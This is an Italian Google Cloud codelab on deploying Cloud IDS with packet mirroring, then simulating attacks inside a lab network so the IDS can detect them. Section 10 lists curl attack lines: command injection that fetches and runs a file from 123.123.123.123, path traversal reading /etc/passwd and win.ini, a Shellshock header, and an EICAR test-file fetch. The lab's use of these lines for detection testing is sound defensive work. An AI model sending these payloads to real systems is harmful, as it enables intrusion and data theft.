Cloud IDS

1. Introduzione

In questo lab, implementi Cloud IDS, un servizio di rilevamento delle intrusioni avanzato di nuova generazione che offre il rilevamento delle minacce come intrusioni, malware, spyware e attacchi command-and-control. Simulerai più attacchi e visualizzerai i dettagli delle minacce in Cloud Console.

Cosa imparerai a fare

  • Come creare un endpoint Cloud IDS
  • Come creare due macchine virtuali con i comandi gcloud
  • Come creare una policy di mirroring dei pacchetti
  • Come simulare il traffico di attacco da una macchina virtuale
  • Come visualizzare i dettagli delle minacce in Cloud Console e Cloud Logging

Che cosa ti serve

  • Conoscenza dei comandi Linux di base

2. Casi d'uso di Cloud IDS

Cloud IDS fornisce un servizio di rilevamento delle intrusioni (IDS) di nuova generazione nativo di Google Cloud per consentire ai clienti di soddisfare i requisiti di conformità e rilevamento avanzato delle minacce, come PCI 11.4. Il servizio si basa sulle tecnologie di protezione dalle minacce di Palo Alto Networks per fornire un rilevamento avanzato delle intrusioni. La combinazione dell'infrastruttura di livello mondiale di Google Cloud con la sicurezza di livello mondiale di Palo Alto Networks offre ai clienti una combinazione senza pari di un servizio di rilevamento avanzato delle minacce completamente gestito, ad alte prestazioni e con la massima efficacia di sicurezza.

Man mano che i clienti eseguono la migrazione al cloud, la sicurezza diventa una priorità. Vogliono avere controlli di sicurezza simili a quelli on-premise, ad esempio il servizio di rilevamento delle intrusioni (IDS) nel cloud. Preferiscono di gran lunga utilizzare una soluzione IDS gestita nativa per il cloud per facilità di deployment, prestazioni elevate e costi ottimizzati rispetto al deployment di una soluzione di sicurezza di terze parti e alla gestione dell'infrastruttura o all'utilizzo di firme proprie. Google Cloud IDS fornisce un servizio IDS gestito end-to-end e con scalabilità automatica che consente ai clienti di dedicare il proprio tempo all'analisi e alla mitigazione delle minacce e di liberare tempo e risorse per la gestione dell'infrastruttura o delle firme delle minacce.

Cloud IDS viene implementato fuori banda e può rilevare le minacce e inviare avvisi, ma non può bloccarle. Sfrutta il mirroring pacchetto di Google Cloud per creare una copia del traffico di rete che viene analizzata utilizzando il motore di rilevamento delle minacce di Palo Alto Network.

3. Topologia del codelab

5a276f399e1d31e2.png

Figura 1. Panoramica di alto livello dell'architettura del deployment di Cloud IDS per questo lab.

4. Configurazione e requisiti

Configurazione dell'ambiente autonomo

  1. Accedi alla console Google Cloud e crea un nuovo progetto o riutilizzane uno esistente. Se non hai ancora un account Gmail o Google Workspace, devi crearne uno.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Il nome del progetto è il nome visualizzato per i partecipanti a questo progetto. È una stringa di caratteri non utilizzata dalle API di Google e puoi aggiornarla in qualsiasi momento.
  • L'ID progetto deve essere univoco in tutti i progetti Google Cloud ed è immutabile (non può essere modificato dopo essere stato impostato). Cloud Console genera automaticamente una stringa univoca, di solito non ti interessa di cosa si tratta. Nella maggior parte dei codelab, devi fare riferimento all'ID progetto (che in genere è identificato come PROJECT_ID), quindi, se non ti piace, generane un altro casuale oppure puoi provare il tuo e vedere se è disponibile. Viene "congelato" dopo la creazione del progetto.
  • Esiste un terzo valore, un numero di progetto, utilizzato da alcune API. Scopri di più su tutti e tre questi valori nella documentazione.
  1. Successivamente, devi abilitare la fatturazione in Cloud Console per utilizzare le risorse/API Cloud. L'esecuzione di questo codelab non dovrebbe costare molto, se non nulla. Per arrestare le risorse in modo da non incorrere in costi di fatturazione al termine di questo tutorial, segui le istruzioni di "pulizia" riportate alla fine del codelab. I nuovi utenti di Google Cloud possono beneficiare del programma prova senza costi di 300$.

Avvia Cloud Shell

Sebbene Google Cloud possa essere gestito da remoto dal tuo laptop, in questo codelab utilizzerai Google Cloud Shell, un ambiente a riga di comando in esecuzione nel cloud.

Nella console GCP, fai clic sull'icona di Cloud Shell nella barra degli strumenti in alto a destra:

bce75f34b2c53987.png

Bastano pochi istanti per eseguire il provisioning e connettersi all'ambiente. Al termine, dovresti vedere un risultato simile a questo:

f6ef2b5f13479f3a.png

Questa macchina virtuale è caricata con tutti gli strumenti per sviluppatori di cui avrai bisogno. Offre una home directory permanente da 5 GB e viene eseguita su Google Cloud, migliorando notevolmente le prestazioni e l'autenticazione della rete. Tutto il lavoro di questo lab può essere svolto semplicemente con un browser.

5. Prima di iniziare

Abilita API

In Cloud Shell, assicurati che l'ID progetto sia configurato.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Attiva tutti i servizi necessari

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Crea rete VPC

Rete VPC

Da Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Subnet

Da Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Accesso ai servizi privato

Da Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service Connect

Da Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Regole firewall

Per consentire a IAP di connettersi alle tue istanze VM, crea una regola firewall che:

  • Si applichi a tutte le istanze VM a cui vuoi accedere tramite IAP.
  • Consente il traffico in entrata dall'intervallo IP 35.235.240.0/20. Questo intervallo contiene tutti gli indirizzi IP che utilizzati da IAP per l'inoltro TCP.

Da Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Per consentire la porta HTTP standard (TCP 80) e il protocollo ICMP al server:

  • Si applica alle risorse con il tag di rete "server"
  • Consente l'ingresso da tutte le origini

Da Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Crea l'istanza Cloud NAT

Cloud Router

Da Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Da Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Crea l'endpoint Cloud IDS

In questa sezione, creerai un endpoint Cloud IDS in us-east1, con una gravità impostata su informativa. La creazione dell'endpoint IDS richiede circa 20 minuti.

Endpoint IDS

Da Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Verifica che l'endpoint Cloud IDS sia inizializzato

gcloud ids endpoints list --project=$PROJECT_ID

Output -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Crea due macchine virtuali

In questa sezione, creerai due macchine virtuali. Il primo sarà il tuo server web, che esegue il mirroring su Cloud IDS. La seconda macchina virtuale sarà la sorgente del traffico di attacco.

Macchina virtuale 1 (server)

Da Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Macchina virtuale 2 (client)

Da Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Preparazione del server

In questa attività, convaliderai il server e fornirai un payload malware benigno per il client.

Accedere tramite SSH alla VM tramite Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Conferma che il servizio web sia in esecuzione

sudo systemctl status nginx

Output - verify active and running

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Cambia directory con il servizio web

cd /var/www/html/

Crea un file malware innocuo sul server web

sudo touch eicar.file

Incolla i contenuti

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Torna a Cloud Shell

exit

Crea una policy di Mirroring pacchetto Cloud IDS

Identifica la regola di forwarding dell'endpoint IDS e verifica che lo stato dell'endpoint IDS sia "READY".

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Output di esempio: copia il valore da "endpointForwardingRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Salva la regola di forwarding dell'endpoint IDS in una variabile.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Criterio di mirroring pacchetto

Da Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Verifica che la policy di mirroring dei pacchetti sia stata creata

Da Cloud Shell

gcloud compute packet-mirrorings list

Output

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Simulare il traffico degli attacchi

Accedi tramite SSH alla macchina virtuale dell'attaccante (client)

Da Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Esegui le seguenti richieste curl per simulare il traffico dannoso.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Esci dalla VM per tornare a Cloud Shell

exit

11. Esaminare le minacce rilevate da Cloud IDS

Vai alla dashboard di Cloud IDS

Menu di navigazione > Sicurezza di rete > Cloud IDS

37583419aa604aa8.png

Vai alla scheda Minacce.

b7d934f409b4e2b.png

Come puoi vedere, Cloud IDS ha acquisito vari profili di traffico di attacco e ha fornito i dettagli su ogni minaccia. Se non vedi minacce, potrebbe essere necessario fare clic sul pulsante "Aggiorna". Ora esaminiamo più nel dettaglio i dettagli della minaccia.

Individua la minaccia "Bash Remote Code Execution Vulnerability" (Vulnerabilità di esecuzione di codice remoto Bash), fai clic sui tre puntini a destra e seleziona "Visualizza dettagli minaccia".

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Ora visualizzeremo i dettagli di questo incidente in Cloud Logging. Torna alla pagina Minacce facendo clic sulla freccia che punta a sinistra .

Fai clic sui tre puntini a destra e seleziona "Visualizza i log delle minacce".

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Gli stessi dettagli vengono forniti a Cloud Logging. In questo modo, puoi inviare i log a Cloud Storage, Chronicle o a qualsiasi SIEM/SOAR. Puoi anche creare flussi di lavoro personalizzati per intraprendere azioni correttive in base agli avvisi, ad esempio creare una funzione cloud che si attiva in base a un avviso e creare/aggiornare una regola firewall per bloccare l'indirizzo IP oppure creare/aggiornare un criterio Cloud Armor.

12. Procedura di pulizia

Esci dall'istanza VM (tutte le schede)

exit

Elimina i componenti del lab da un singolo terminale Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Complimenti!

Congratulazioni per aver completato il codelab.

Argomenti trattati

  • Casi d'uso di Cloud IDS
  • Requisiti di rete
  • API supportate
  • È stato creato un endpoint Cloud IDS
  • Sono state implementate 2 VM
  • Generato traffico di "attacco" dal client
  • Le minacce verificate sono state rilevate da IDS
  • Esamina i dettagli e i log delle minacce